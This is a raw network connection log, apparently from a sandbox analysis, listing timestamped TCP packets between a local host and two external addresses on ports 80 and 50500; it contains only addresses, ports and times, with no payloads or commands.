May 17, 2024 23:45:16.402977943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.402981997 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.402992964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403002977 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403012037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403022051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403031111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403038979 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403038979 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403038979 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403038979 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403040886 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403049946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403054953 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403060913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403069973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403079987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403084993 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403084993 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403090000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403099060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403110027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403119087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403124094 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403124094 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403124094 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403129101 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403141022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403151035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403161049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403171062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403179884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403189898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403198957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403209925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403215885 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403215885 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403215885 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403215885 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403215885 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403219938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403228998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403244019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403244019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403263092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403719902 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403731108 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403739929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403749943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403759003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403769970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403779984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403786898 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403786898 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403790951 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403800011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403810978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403820038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403825045 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403825045 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.403830051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.403836966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.404130936 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.404130936 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.405239105 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.405239105 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:17.500870943 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:17.506182909 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:17.644665956 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:17.649852991 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.507214069 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.531609058 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.531810999 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.533493996 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.538367987 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.538424969 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.543246031 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.543281078 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.543314934 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.543349981 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.552961111 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.553092957 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.557624102 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.557677984 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.557822943 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.567449093 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.567483902 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.567516088 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.567559958 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.575118065 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.575151920 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.575191975 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.581160069 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.581192970 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.581239939 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.587220907 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.587255955 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.587280989 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.632987976 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.715073109 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.716809034 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.717031002 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.720211983 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.720247984 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.720347881 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.727871895 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.727906942 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.731837034 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.734882116 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.734915972 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.735826015 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.738848925 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.738883018 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.738915920 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.738955021 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.743855000 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.743890047 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.743953943 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.746658087 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.746692896 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.746756077 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.751846075 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.751880884 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.751949072 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.755856991 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.755889893 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.755925894 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.755951881 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.755981922 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.757848024 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.757884026 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.757945061 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.763850927 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.763885021 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.763947010 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.765506983 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.765541077 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.765599012 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.768182993 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.768215895 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.768270016 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.771847010 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.771881104 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.771950006 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.774849892 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.774884939 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.774949074 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.777851105 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.777885914 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.778552055 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.895996094 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.897885084 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.898576021 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.898663998 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.899658918 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.899694920 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.899728060 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.899739027 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.899777889 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.903867960 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.903902054 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.903971910 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.906053066 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.906086922 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.906120062 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.906151056 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.911536932 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.911571980 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.911607981 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.911611080 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.911660910 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.911875963 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.911911011 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.911993027 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.915224075 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.915257931 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.915358067 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.916946888 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.916981936 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.917032957 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.919769049 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.919805050 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.919864893 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.923091888 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.923125029 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.923157930 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.923213959 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.925220013 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.925252914 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.925290108 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.927340984 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.927375078 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.927398920 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.930290937 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.930325985 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.930382967 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.932185888 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.932219982 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.932243109 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.932251930 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.932414055 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.935015917 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.935049057 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.935080051 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.935105085 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.935684919 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.935719967 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.935744047 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.937766075 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.937808037 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.937829018 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.939963102 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.939997911 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.940020084 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.940027952 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.940074921 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.941878080 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.941912889 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.942065001 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.943849087 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.943883896 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.943917990 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.943937063 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.946014881 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.946049929 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.946108103 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.947835922 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.947870970 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.947897911 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:18.949508905 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.949549913 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:18.949606895 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.050040960 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.050076008 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.050297022 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.050957918 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.051851034 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.051883936 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.051914930 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.054338932 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.054399014 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.055859089 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.055895090 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.055927992 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.055958986 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.057849884 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.057883024 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.057934046 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.058536053 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.058569908 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.058595896 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.060585976 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.060652971 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.061671972 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.061706066 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.061758041 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.079030991 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.079092026 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.079284906 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.079847097 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.082916975 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.082952023 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.082983017 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.082993984 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.083018064 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.083050966 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.083089113 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.083117962 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.083848000 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.083883047 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.083914995 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.083971024 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.086232901 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.086267948 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.086321115 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.086983919 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.087018013 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.087033987 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.088427067 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.088463068 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.088495016 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.088495970 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.088545084 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.090162039 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.090195894 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.090255976 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.091607094 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.091641903 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.091726065 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.093259096 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.093292952 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.093350887 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.097358942 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.097393036 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.097455978 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.098718882 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.098752975 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.098787069 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.098819971 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.098834038 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.098855019 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.098875046 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.098889112 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.098922968 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.098970890 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.099481106 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.099515915 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.099564075 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.100554943 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.100590944 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.100622892 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.100631952 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.100743055 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.101783991 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.101818085 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.101903915 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.103692055 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.103725910 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.103759050 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.103791952 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.103795052 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.104166031 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.105904102 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.105937004 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.105969906 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.106003046 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.106024027 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.106035948 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.106045961 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.107234001 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.107268095 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.107289076 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.108184099 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.108217955 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.108275890 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.109997034 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.110030890 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.110049963 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.110064030 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.110099077 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.110114098 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.110132933 CEST	50500	49704	5.42.96.65	192.168.2.5
